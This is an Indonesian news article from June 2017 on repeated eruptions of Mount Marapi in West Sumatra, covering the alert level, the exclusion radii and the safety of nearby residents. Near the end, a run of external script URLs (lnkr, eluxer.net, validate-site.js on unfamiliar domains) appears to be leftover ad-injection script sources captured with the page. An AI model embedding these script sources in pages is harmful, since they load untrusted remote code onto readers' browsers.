Ruang Publik

Marapi Sumbar Masih Erupsi, Masyarakat Sekitar Dalam Zona Aman

HaloBukittinggi : Berdasarkan data yang dihimpun dari Pos Pengamatan Gunungapi (PGA) Marapi, Pusat Vulkanologi Mitigasi dan Bencana Geologi (PVMBG), dari Minggu 4 Juni 2017 pada pukul 10.01 WIB, hingga Kamis 8 Juni 2017 pukul 18.00 WIB, Gunungapi Marapi Sumatera Barat telat meletus atau erupsi sebanyak 89 kali.

Petugas PGA Marapi PVMBG Bukittinggi Hartanto, mengatakan, apabila dirata-rata kan, ada 17 kali letusan dalam lima hari sejak Minggu 4 Juni 2017 hingga hari ini, dengan amplitudo 1 hingga 13 milimeter, ditambah sejumlah hembusan, gempa tektonik, dan gempa vulkanik

“Letusan atau erupsi yang terjadi di Gunungapi Marapi melontarkan abu vulkanik hingga ketinggian mulai dari 100 meter hingga maksimal 700 meter. Kondisi ini menunjukan bahwa aktifitas Marapi masih belum stabil, atau dengan arti kata tinggi letusan berbeda-beda,” ulasnya, Kamis (8/6/2017).

Menurut Hartanto, dengan aktivitas Gunungapi Marapi Sumatera Barat saat ini, masyarakat yang tinggal disekitar Marapi belum perlu mengungsi, karena masyarakat sudah tinggal di zona yang aman.

“Saat ini, Gunungapi Marapi masih berstatus waspada atau level dua. Pada kondisi ini, PVMBG menginatkan masyarakat dilarang beraktifitas di radius tiga kilometer dari puncak. Di kawasan Marapi, tidak ada pemukiman warga di zona tiga kilometer dari puncak. Pemukiman warga terdekat berjarak lebih dari lima kilometer dari puncak,” ujarnya.

Jika status Gunungapi Marapi nantinya meningkat dari level II menjadi level III (Siaga) lanjut Hartanto, maka ancaman Gunung Marapi juga meluas. Ancaman gunung yang dimaksud berupa lontaran batu pijar, gas beracun serta bom vulkanik (lontaran batu besar), apabila ini sempat terjadi barulah membahayakan masyarakat sekitar.

“Kalau sudah berstatus siaga, radius lima kilometer dari puncak harus disterilkan dari aktifitas masyarakat. Ada sebagian kecil masyarakat di kawasan Kecamatan X Koto Tanah Datar yang bermukim di radius lima kilometer dari puncak,” ulasnya.

Dengan status waspada saat ini, Hartanto berharap kepada pendaki untuk tidak beraktifitas di radius tiga kilometer dari puncak atau tidak mendekati kawasan cadas hingga puncak Marapi. (Dipra)

 

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=26https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top